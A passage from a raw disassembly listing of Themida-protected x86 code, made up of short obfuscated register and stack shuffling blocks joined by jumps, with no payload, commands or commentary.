		mov	cl, 2Ch
		shr	cl, 2
		jmp	loc_567E3C
; ---------------------------------------------------------------------------


loc_568713:				; CODE XREF: Themida_:00562F0Cj
		push	cx
		jmp	loc_565F16
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_568ACC
; ---------------------------------------------------------------------------


loc_568723:				; CODE XREF: Themida_:0056A1F9j
		pop	ecx
		mov	esi, ecx
		pop	ecx
		sub	esi, 0FFFFFFFFh
		jmp	loc_574397
; ---------------------------------------------------------------------------


loc_568732:				; CODE XREF: Themida_:00562546j
		xchg	edi, [esp]
		jmp	loc_569405
; ---------------------------------------------------------------------------


loc_56873A:				; CODE XREF: Themida_:005684B1j
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_568740:				; CODE XREF: Themida_:005701E0j
		push	ecx
		mov	cl, 73h
		neg	cl
		push	ax
		mov	ah, 7Bh
		add	cl, ah
		mov	ax, [esp]
		jmp	loc_56761D
; ---------------------------------------------------------------------------


loc_568754:				; CODE XREF: Themida_:0056608Ej
		mov	edi, 4F6F16C1h
		sub	edi, 4F6F16BDh
		jmp	loc_56E631
; ---------------------------------------------------------------------------


loc_568764:				; CODE XREF: Themida_:0056F047j
		push	ebx
		mov	ebx, esi
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_5738EA
; ---------------------------------------------------------------------------


loc_568775:				; CODE XREF: Themida_:0056FC1Fj
		push	edi
		push	eax
		push	edi
		mov	edi, 3E680FEFh
		mov	eax, edi
		pop	edi
		jmp	loc_563B79
; ---------------------------------------------------------------------------


loc_568785:				; CODE XREF: Themida_:00567BD9j
		mov	eax, ebx
		pop	ebx
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	ebx, 2
		push	29F9h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cx
		sub	esp, 4
		jmp	loc_568B63
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5687D1:				; CODE XREF: Themida_:0057099Ej
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5687D6:				; CODE XREF: Themida_:00573C02j
		sub	bx, bp
		add	bx, 28E8h
		push	5CE9h
		mov	[esp], edx
		jmp	loc_56DCD2
; ---------------------------------------------------------------------------


loc_5687EB:				; CODE XREF: Themida_:005725F0j
		sub	bl, 0A0h
		jmp	loc_56D3B7
; ---------------------------------------------------------------------------


loc_5687F3:				; CODE XREF: Themida_:00573C2Dj
		mov	[esp], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	44BEh
		mov	[esp], eax
		jmp	loc_566DE8
; ---------------------------------------------------------------------------


loc_56880A:				; CODE XREF: Themida_:005735A5j
		sub	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 45ED79C0h
		jmp	loc_568238
; ---------------------------------------------------------------------------


loc_568821:				; CODE XREF: Themida_:0056B8D0j
		pop	eax
		jmp	loc_5614E9
; ---------------------------------------------------------------------------


loc_568827:				; CODE XREF: Themida_:0056A8D4j
		sub	al, bl
		jmp	loc_572424
; ---------------------------------------------------------------------------


loc_56882E:				; CODE XREF: Themida_:00570092j
		shr	ebx, 7
		sub	ebx, 0C0D6h
		add	ecx, ebx
		pop	ebx
		push	ebx
		push	ebp
		jmp	loc_56C7F8
; ---------------------------------------------------------------------------


loc_568841:				; CODE XREF: Themida_:0056E42Bj
		pop	edi
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	dword ptr [esp]
		jmp	loc_56C232
; ---------------------------------------------------------------------------


loc_56885C:				; CODE XREF: Themida_:005710A8j
		push	eax
		mov	eax, 295023D2h
		push	esi
		jmp	loc_574315
; ---------------------------------------------------------------------------


loc_568868:				; CODE XREF: Themida_:00565ECCj
		push	eax
		mov	eax, esi
		push	edi
		jmp	loc_56141B
; ---------------------------------------------------------------------------


loc_568871:				; CODE XREF: Themida_:00573431j
		add	esp, 4
		push	3E54h
		jmp	loc_56B820
; ---------------------------------------------------------------------------


loc_568881:				; CODE XREF: Themida_:0056BED9j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_560B28
; ---------------------------------------------------------------------------


loc_568891:				; CODE XREF: Themida_:00563B14j
		mov	esi, 1DB0C40h
		sub	[esp+4], esi
		jmp	loc_562A04
; ---------------------------------------------------------------------------


loc_56889F:				; CODE XREF: Themida_:0056B109j
		pop	edx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5688A5:				; CODE XREF: Themida_:005659F6j
		push	esi
		push	3EC6h
		push	esp
		jmp	loc_568D63
; ---------------------------------------------------------------------------


loc_5688B1:				; CODE XREF: Themida_:00561630j
		pop	ebx
		jmp	loc_55F7C2
; ---------------------------------------------------------------------------


loc_5688B7:				; CODE XREF: Themida_:0057302Dj
		and	edi, ebx
		pop	ebx
		inc	edi
		jmp	loc_56790A
; ---------------------------------------------------------------------------


loc_5688C0:				; CODE XREF: Themida_:0056692Fj
		mov	edi, eax
		pop	eax
		push	56E5h
		jmp	loc_570279
; ---------------------------------------------------------------------------


loc_5688CD:				; CODE XREF: Themida_:00570E3Bj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56CBB6
; ---------------------------------------------------------------------------


loc_5688E9:				; CODE XREF: Themida_:0056059Fj
		add	al, bl
		pop	ebx
		add	al, 63h
		sub	al, 4Ah
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_567DF7
; ---------------------------------------------------------------------------


loc_5688FF:				; CODE XREF: Themida_:0056B9C4j
		pop	edx
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, 51A92DC0h
		add	edi, eax
		sub	edi, 51A92DC0h
		pop	eax
		push	esi
		jmp	loc_564432
; ---------------------------------------------------------------------------


loc_56891C:				; CODE XREF: Themida_:005682E3j
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		jmp	loc_56C4E2
; ---------------------------------------------------------------------------


loc_568927:				; CODE XREF: Themida_:005668B6j
		or	eax, 475A4EFEh
		jmp	loc_5668C0
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_574375
; ---------------------------------------------------------------------------


loc_568942:				; CODE XREF: Themida_:0056DA41j
		sub	esi, 4CC7E03Eh
		sub	eax, 4F946B9Dh
		jmp	loc_573819
; ---------------------------------------------------------------------------


loc_568952:				; CODE XREF: Themida_:00569927j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_565CF6
; ---------------------------------------------------------------------------


loc_56895B:				; CODE XREF: Themida_:005679A4j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_562A2A
; ---------------------------------------------------------------------------


loc_568969:				; CODE XREF: Themida_:0057074Fj
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 24392108h
		dec	edi
		add	edi, 15C62B34h
		xor	edi, 7B640FD6h
		add	edi, 3DF66188h
		push	ebp
		mov	ebp, 6F6D046Bh
		xor	edi, ebp
		jmp	loc_566786
; ---------------------------------------------------------------------------


loc_568994:				; CODE XREF: Themida_:0056F3DAj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_56D330
; ---------------------------------------------------------------------------


loc_5689A1:				; CODE XREF: Themida_:00571EC3j
		xor	edx, 53470B40h
		mov	esi, edx
		pop	edx
		jmp	loc_564944
; ---------------------------------------------------------------------------


loc_5689AF:				; CODE XREF: Themida_:00560CB5j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 75B47C1Dh
		jmp	loc_56FC48
; ---------------------------------------------------------------------------


loc_5689DF:				; CODE XREF: Themida_:00565C4Ej
		dec	ebp
		jmp	loc_5665F9
; ---------------------------------------------------------------------------


loc_5689E5:				; CODE XREF: Themida_:0056B447j
		push	ebx
		push	ebp
		mov	ebp, 6D522664h
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_5647B4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		jmp	loc_57065C
; ---------------------------------------------------------------------------


loc_568A00:				; CODE XREF: Themida_:005740FFj
		not	eax
		sub	eax, 8D8AD918h
		mov	ebx, eax
		pop	eax
		push	2D73h
		mov	[esp], esi
		mov	esi, 51742323h
		jmp	loc_56AA36
; ---------------------------------------------------------------------------


loc_568A1C:				; CODE XREF: Themida_:0056B334j
		mov	esi, 4CD382Fh
		push	eax
		mov	eax, 7CE64F7Ch
		jmp	loc_56C9B2
; ---------------------------------------------------------------------------


loc_568A2C:				; CODE XREF: Themida_:00570738j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5720FE
; ---------------------------------------------------------------------------


loc_568A3F:				; CODE XREF: Themida_:0057259Ej
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	10C8h
		jmp	loc_560B41
; ---------------------------------------------------------------------------


loc_568A54:				; CODE XREF: Themida_:00567666j
		shl	edi, 2
		add	edi, 0AA81F172h
		push	esi
		push	eax
		jmp	loc_56A24B
; ---------------------------------------------------------------------------


loc_568A64:				; CODE XREF: Themida_:00561296j
		mov	[esp], edx
		jmp	loc_56307C
; ---------------------------------------------------------------------------


loc_568A6C:				; CODE XREF: Themida_:00562E27j
		mov	esp, [esp]
		jmp	loc_56D943
; ---------------------------------------------------------------------------


loc_568A74:				; CODE XREF: Themida_:00569155j
		mov	edi, edx
		mov	esi, edi
		pop	edi
		pop	edx
		push	51BCh
		mov	[esp], ecx
		mov	ecx, 37435B72h
		or	esi, ecx
		pop	ecx
		inc	esi
		inc	esi
		and	esi, 458A2E46h
		push	ebx
		jmp	loc_572C48
; ---------------------------------------------------------------------------


loc_568A98:				; CODE XREF: Themida_:0055FC88j
		sub	ebp, edi
		jmp	loc_564043
; ---------------------------------------------------------------------------


loc_568A9F:				; CODE XREF: Themida_:0057045Fj
		and	ecx, 3493155Bh
		push	ebp
		mov	ebp, 5B60E25h
		not	ebp
		not	ebp
		jmp	loc_56122F
; ---------------------------------------------------------------------------


loc_568AB4:				; CODE XREF: Themida_:00568E1Cj
		mov	ebp, edx
		pop	edx
		jmp	loc_56550A
; ---------------------------------------------------------------------------


loc_568ABC:				; CODE XREF: Themida_:0056D52Ej
		push	eax
		mov	eax, 5210165Ch
		or	eax, 19AB0807h
		jmp	loc_5680F5
; ---------------------------------------------------------------------------


loc_568ACC:				; CODE XREF: Themida_:0056871Ej
		push	7861h
		mov	[esp], ebx
		push	esp
		jmp	loc_571263
; ---------------------------------------------------------------------------


loc_568ADA:				; CODE XREF: Themida_:005727FDj
		pop	ebp
		mov	ebp, eax
		pop	eax
		push	ebp
		pop	edi
		jmp	loc_56CE17
; ---------------------------------------------------------------------------


loc_568AE5:				; CODE XREF: Themida_:0056D4ADj
		add	eax, 0D9B48C4h
		sub	eax, edx
		sub	eax, 0D9B48C4h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56AE2C
; ---------------------------------------------------------------------------


loc_568AFA:				; CODE XREF: Themida_:005619BDj
		mov	ebp, 2
		add	edi, ebp
		jmp	loc_5674FD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_56C452
; ---------------------------------------------------------------------------


loc_568B1A:				; CODE XREF: Themida_:0055FD41j
		xchg	edi, ebp
		shl	ebp, 6
		not	ebp
		push	6B94h
		mov	[esp], eax
		jmp	loc_56E6CF
; ---------------------------------------------------------------------------


loc_568B2E:				; CODE XREF: Themida_:0056D5C7j
		push	ebx
		mov	bl, 1
		sub	cl, bl
		pop	ebx
		neg	cl
		xor	cl, 0CEh
		push	7EE0h
		mov	[esp], ebx
		jmp	loc_56D7FF
; ---------------------------------------------------------------------------


loc_568B46:				; CODE XREF: Themida_:0056DE3Fj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		jmp	loc_56BE1F
; ---------------------------------------------------------------------------


loc_568B56:				; CODE XREF: Themida_:0056FC79j
		sub	edx, 7E3930A3h
		add	edx, ebx
		jmp	loc_561744
; ---------------------------------------------------------------------------


loc_568B63:				; CODE XREF: Themida_:005687C3j
		mov	[esp], ecx
		push	3DFDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0A332BBh
		xor	esi, 102B7989h
		xchg	edx, esi
		inc	edx
		xchg	edx, esi
		jmp	loc_5673FF
; ---------------------------------------------------------------------------


loc_568B91:				; CODE XREF: Themida_:0055FF0Dj
		sub	edx, 77250EFEh
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56B021
; ---------------------------------------------------------------------------


loc_568BAB:				; CODE XREF: Themida_:005734DEj
		mov	bl, cl
		pop	ecx
		push	eax
		jmp	loc_567B55
; ---------------------------------------------------------------------------


loc_568BB4:				; CODE XREF: Themida_:00567961j
		push	edx
		jmp	loc_571EC8
; ---------------------------------------------------------------------------


loc_568BBA:				; CODE XREF: Themida_:0056B358j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_562307
; ---------------------------------------------------------------------------


loc_568BC3:				; CODE XREF: Themida_:00565FD4j
		pop	edi
		mov	edx, 8A52D7CFh
		sub	edx, ecx
		pop	ecx
		or	edx, 33B674C8h
		push	esi
		push	2A3C74CAh
		mov	esi, [esp]
		add	esp, 4
		or	edx, esi
		pop	esi
		and	edx, 197F59CDh
		push	7E02h
		mov	[esp], ebp
		mov	ebp, 28C152ADh
		inc	ebp
		sub	ebp, 0E30CFF2Fh
		jmp	loc_566AF4
; ---------------------------------------------------------------------------


loc_568C00:				; CODE XREF: Themida_:005636B8j
		neg	ebp
		add	ebp, 44D1E0E4h
		jmp	loc_569151
; ---------------------------------------------------------------------------


loc_568C0D:				; CODE XREF: Themida_:00560C05j
		movzx	ax, byte ptr [eax]
		push	small 5E0Ah
		mov	[esp], ax
		jmp	loc_57241F
; ---------------------------------------------------------------------------


loc_568C1E:				; CODE XREF: Themida_:00569229j
		push	eax
		mov	al, 0DDh
		shr	al, 3
		add	al, 1
		jmp	loc_55F684
; ---------------------------------------------------------------------------


loc_568C2B:				; CODE XREF: Themida_:0056D734j
		add	edx, 6E225FF4h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_568C3F:				; CODE XREF: Themida_:00572D16j
		mov	edi, [esp]
		jmp	loc_56A840
; ---------------------------------------------------------------------------


loc_568C47:				; CODE XREF: Themida_:00570DE2j
		pop	ecx
		push	bx
		mov	bh, 32h
		sub	dl, bh
		pop	bx
		jmp	loc_565088
; ---------------------------------------------------------------------------


loc_568C55:				; CODE XREF: Themida_:0056C805j
		dec	eax
		shl	eax, 8
		add	eax, 0CA16BA60h
		add	edi, eax
		pop	eax
		add	edi, ecx
		push	ebx
		jmp	loc_560533
; ---------------------------------------------------------------------------


loc_568C69:				; CODE XREF: Themida_:00565FF9j
		or	ebx, ebx
		jnz	loc_5662E1
		push	ecx
		push	20h
		push	dword ptr [esp]
		jmp	loc_56E082
; ---------------------------------------------------------------------------


loc_568C7F:				; CODE XREF: Themida_:0056F807j
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		push	392Eh
		mov	[esp], ecx
		push	1
		push	dword ptr [esp]
		jmp	loc_561A27
; ---------------------------------------------------------------------------


loc_568C9B:				; CODE XREF: Themida_:0056BB45j
		mov	ebx, 75B31689h
		jmp	loc_562D7B
; ---------------------------------------------------------------------------


loc_568CA5:				; CODE XREF: Themida_:0056BBF4j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_568CAA:				; CODE XREF: Themida_:0056FC81j
		mov	ch, 73h
		xor	ch, dl
		pop	edx
		and	ch, 7
		neg	ch
		jmp	loc_56411E
; ---------------------------------------------------------------------------


loc_568CB9:				; CODE XREF: Themida_:00564ED1j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	6679h
		mov	[esp], ebp
		jmp	loc_572E64
; ---------------------------------------------------------------------------


loc_568CCB:				; CODE XREF: Themida_:00573F26j
		shr	ecx, 6
		not	ecx
		xor	ecx, 0FD8B2B85h
		and	[edi+1Ch], ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_561E19
; ---------------------------------------------------------------------------


loc_568CE5:				; CODE XREF: Themida_:0056AB10j
		push	ebx
		jmp	loc_570FAB
; ---------------------------------------------------------------------------


loc_568CEB:				; CODE XREF: Themida_:005731EBj
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_573BE4
; ---------------------------------------------------------------------------


loc_568D0A:				; CODE XREF: Themida_:0056D81Aj
		sub	ebx, eax
		sub	ebx, 64A233F3h
		push	edx
		mov	edx, 12350B04h
		jmp	loc_56DB5A
; ---------------------------------------------------------------------------


loc_568D1D:				; CODE XREF: Themida_:00561BE1j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56FBFC
; ---------------------------------------------------------------------------


loc_568D2D:				; CODE XREF: Themida_:005703DCj
		mov	dl, 8Ah
		add	bl, dl
		pop	dx
		add	bl, al
		sub	bl, 8Ah
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		jmp	loc_56C4B0
; ---------------------------------------------------------------------------


loc_568D43:				; CODE XREF: Themida_:00568682j
		mov	[esp], ecx
		mov	cl, 0E5h
		jmp	loc_570F20
; ---------------------------------------------------------------------------


loc_568D4D:				; CODE XREF: Themida_:00573B37j
		xchg	ecx, [esp]
		jmp	loc_5601AB
; ---------------------------------------------------------------------------


loc_568D55:				; CODE XREF: Themida_:0056FE54j
		push	ecx
		jmp	loc_56D27B
; ---------------------------------------------------------------------------


loc_568D5B:				; CODE XREF: Themida_:00571161j
		mov	[esp], ecx
		jmp	loc_5670DB
; ---------------------------------------------------------------------------


loc_568D63:				; CODE XREF: Themida_:005688ACj
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	esi
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_5623C2
; ---------------------------------------------------------------------------


loc_568D80:				; CODE XREF: Themida_:005601ECj
		pop	bp
		push	si
		jmp	loc_56B859
; ---------------------------------------------------------------------------


loc_568D89:				; CODE XREF: Themida_:0057195Dj
		sub	al, 0D0h
		push	ecx
		jmp	loc_5730F2
; ---------------------------------------------------------------------------
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	ebx
		push	edi
		mov	edi, 2F2B784Ah
		inc	edi
		jmp	loc_564228
; ---------------------------------------------------------------------------


loc_568DA9:				; CODE XREF: Themida_:00569D2Dj
		add	esi, 4
		add	esi, 4
		jmp	loc_569526
; ---------------------------------------------------------------------------


loc_568DB7:				; CODE XREF: Themida_:0056C0AFj
		mov	esp, [esp]
		mov	ax, [esp]
		push	4E2Dh
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	eax
		mov	eax, 63390FC7h
		neg	eax
		not	eax
		jmp	loc_566205
; ---------------------------------------------------------------------------


loc_568DEA:				; CODE XREF: Themida_:00569FA8j
		not	ecx
		add	ecx, 4BA2847Eh
		jmp	loc_563A6E
; ---------------------------------------------------------------------------


loc_568DF7:				; CODE XREF: Themida_:0056E34Dj
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_56670D
; ---------------------------------------------------------------------------


loc_568E0B:				; CODE XREF: Themida_:00572190j
		push	eax
		push	51ED563Ch
		pop	eax
		push	7263h
		mov	[esp], edx
		mov	edx, eax
		jmp	loc_568AB4
; ---------------------------------------------------------------------------


loc_568E21:				; CODE XREF: Themida_:00569468j
		push	esi
		mov	esi, 1F160C2Fh
		add	edi, esi
		pop	esi
		sub	edi, eax
		sub	edi, 1F160C2Fh
		push	esi
		mov	esi, 2B4B21F0h
		add	edi, esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_561C48
; ---------------------------------------------------------------------------


loc_568E4A:				; CODE XREF: Themida_:005661F5j
		pop	esp
		push	332Ah
		mov	[esp], ecx
		jmp	loc_566DEF
; ---------------------------------------------------------------------------


loc_568E58:				; CODE XREF: Themida_:00570B69j
		and	ecx, edx
		jmp	loc_56FBB0
; ---------------------------------------------------------------------------


loc_568E5F:				; CODE XREF: Themida_:005656A9j
		pop	edi
		jmp	loc_563FB1
; ---------------------------------------------------------------------------


loc_568E65:				; CODE XREF: Themida_:00571481j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56EFAA
; ---------------------------------------------------------------------------


loc_568E73:				; CODE XREF: Themida_:0056A849j
		xor	[esp], ebx
		jmp	loc_573904
; ---------------------------------------------------------------------------


loc_568E7B:				; CODE XREF: Themida_:00570075j
		push	ebp
		mov	ebp, 2B0D1D0Ch
		not	ebp
		shr	ebp, 3
		xor	ebp, 0F0B6BB3h
		add	ebp, 0EA6AC817h
		jmp	loc_57206A
; ---------------------------------------------------------------------------


loc_568E97:				; CODE XREF: Themida_:005701A2j
		pop	ebx
		push	esi
		push	5D3E495Eh
		pop	esi
		sub	edx, 6F3977BAh
		add	edx, esi
		add	edx, 6F3977BAh
		pop	esi
		add	edx, edi
		push	6A80h
		mov	[esp], edi
		jmp	loc_570630
; ---------------------------------------------------------------------------


loc_568EBD:				; CODE XREF: Themida_:0056EA06j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_563390
; ---------------------------------------------------------------------------


loc_568EC6:				; CODE XREF: Themida_:00569D10j
		pop	esi
		jmp	loc_574405
; ---------------------------------------------------------------------------


loc_568ECC:				; CODE XREF: Themida_:0056B383j
		add	ecx, 637F78B1h
		sub	ecx, 634EC5BEh
		jmp	loc_56F700
; ---------------------------------------------------------------------------


loc_568EDD:				; CODE XREF: Themida_:005682D8j
		pop	esp
		jmp	loc_56F40E
; ---------------------------------------------------------------------------


loc_568EE3:				; CODE XREF: Themida_:005698B4j
		mov	[esp], edx
		push	32AD07E0h
		mov	edx, [esp]
		add	esp, 4
		xor	esi, edx
		pop	edx
		jmp	loc_5731A5
; ---------------------------------------------------------------------------


loc_568EF9:				; CODE XREF: Themida_:00573A2Aj
		and	ebp, 40042D1Fh
		add	ebp, 1EC700BDh
		dec	ebp
		add	ebp, 0B5301FF2h
		mov	esi, ebp
		pop	ebp
		neg	esi
		jmp	loc_56189D
; ---------------------------------------------------------------------------


loc_568F16:				; CODE XREF: Themida_:005670D6j
		add	eax, 0EC1D2CA8h
		jmp	loc_5632E0
; ---------------------------------------------------------------------------


loc_568F20:				; CODE XREF: Themida_:005705C9j
		mov	[esp], ebx
		mov	bl, 0EFh
		sub	bl, 6Bh
		shr	bl, 3
		push	edx
		mov	dh, 0Bh
		and	dh, 6Bh
		shr	dh, 2
		add	dh, 4
		jmp	loc_57305B
; ---------------------------------------------------------------------------


loc_568F3C:				; CODE XREF: Themida_:00562C97j
		push	ebx
		mov	bl, 43h
		sub	bl, 0B3h
		mov	al, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5678BA
; ---------------------------------------------------------------------------


loc_568F4F:				; CODE XREF: Themida_:00569400j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_56008D
; ---------------------------------------------------------------------------


loc_568F5A:				; CODE XREF: Themida_:00565D71j
		mov	ecx, 2CB3E014h
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4664292Eh
		add	ebx, edi
		sub	ebx, 4664292Eh
		pop	edi
		add	esi, 23216EB6h
		add	esi, 1F6519FCh
		sub	esi, ebx
		sub	esi, 1F6519FCh
		sub	esi, 23216EB6h
		pop	ebx
		add	ebp, 7AF32FAh
		add	ebp, 77EE67F5h
		add	ebp, esi
		sub	ebp, 77EE67F5h
		sub	ebp, 7AF32FAh
		mov	esi, [esp]
		push	ebx
		jmp	loc_567032
; ---------------------------------------------------------------------------


loc_568FB4:				; CODE XREF: Themida_:00569633j
		mov	[esp], ecx
		jmp	loc_56074C
; ---------------------------------------------------------------------------


loc_568FBC:				; CODE XREF: Themida_:00563BFCj
		pop	edi
		jmp	loc_5643C2
; ---------------------------------------------------------------------------


loc_568FC2:				; CODE XREF: Themida_:00571075j
		and	ecx, 2D467EFh
		neg	ecx
		jmp	loc_56F9F6
; ---------------------------------------------------------------------------


loc_568FCF:				; CODE XREF: Themida_:0056FF1Aj
		mov	edi, 242479AFh
		neg	edi
		push	eax
		mov	eax, 1BB36810h
		neg	eax
		jmp	loc_56DE29
; ---------------------------------------------------------------------------


loc_568FE3:				; CODE XREF: Themida_:0056EE2Aj
		xchg	ebx, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_568FF3:				; CODE XREF: Themida_:0056C4A0j
		mov	edx, 1B7F1485h
		add	[esp+8], edx
		pop	edx
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 1B7F1485h
		pop	ecx
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 6A0E205Ch
		and	ecx, 0D95016h
		sub	ecx, 752C5D83h
		push	eax
		mov	eax, 7B8139D4h
		jmp	loc_565BAD
; ---------------------------------------------------------------------------


loc_56902D:				; CODE XREF: Themida_:0056FB01j
		sub	ecx, 4
		jmp	loc_5715E7
; ---------------------------------------------------------------------------


loc_569035:				; CODE XREF: Themida_:0056AA86j
		add	esp, 4
		jmp	loc_564A12
; ---------------------------------------------------------------------------


loc_569040:				; CODE XREF: Themida_:0056AA53j
		mov	eax, edi
		push	dword ptr [esp]
		jmp	loc_57169E
; ---------------------------------------------------------------------------


loc_56904A:				; CODE XREF: Themida_:0056105Dj
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		push	68BBh
		mov	[esp], ecx
		jmp	loc_561A41
; ---------------------------------------------------------------------------


loc_56906D:				; CODE XREF: Themida_:0055F653j
		sub	ebp, 0F6722ED5h
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_56AE5F
; ---------------------------------------------------------------------------


loc_569081:				; CODE XREF: Themida_:0056064Aj
		pop	edi
		sub	edi, 66D0316Dh
		mov	ebx, edi
		pop	edi
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, esi
		pop	esi
		sub	ebp, ebx
		pop	ebx
		jmp	loc_56423B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_56B79B
; ---------------------------------------------------------------------------


loc_5690B9:				; CODE XREF: Themida_:005681A4j
		push	edi
		jmp	loc_56209A
; ---------------------------------------------------------------------------


loc_5690BF:				; CODE XREF: Themida_:00573CE1j
		mov	ecx, esp
		push	esi
		mov	esi, 58427C5h
		jmp	loc_56ACB4
; ---------------------------------------------------------------------------


loc_5690CC:				; CODE XREF: Themida_:0057369Dj
		push	ebx
		mov	bh, 0E9h
		xor	bh, 9Bh
		not	bh
		dec	bh
		neg	bh
		jmp	loc_57040C
; ---------------------------------------------------------------------------


loc_5690DD:				; CODE XREF: Themida_:00564AFDj
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	0FFFFFFFFh
		pop	edx
		sub	dword ptr [esp+4], 74B2078Dh
		sub	dword ptr [esp+4], 79841EF4h
		sub	[esp+4], edx
		push	ebp
		mov	ebp, 79841EF4h
		add	[esp+8], ebp
		pop	ebp
		add	dword ptr [esp+4], 74B2078Dh
		jmp	loc_566357
; ---------------------------------------------------------------------------


loc_56913E:				; CODE XREF: Themida_:0056193Cj
		sub	esp, 4
		mov	[esp], ecx
		push	1AF9h
		jmp	loc_5650F4
; ---------------------------------------------------------------------------


loc_569151:				; CODE XREF: Themida_:00568C08j
		add	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_568A74
; ---------------------------------------------------------------------------


loc_56915A:				; CODE XREF: Themida_:00560FDAj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 728747A4h
		not	ebp
		inc	ebp
		push	edx
		mov	edx, 225C5E03h
		xor	ebp, edx
		jmp	loc_570C07
; ---------------------------------------------------------------------------


loc_56918C:				; CODE XREF: Themida_:00570B1Ej
		pop	edi
		sub	ecx, edx
		mov	edx, [esp]
		jmp	loc_562F93
; ---------------------------------------------------------------------------


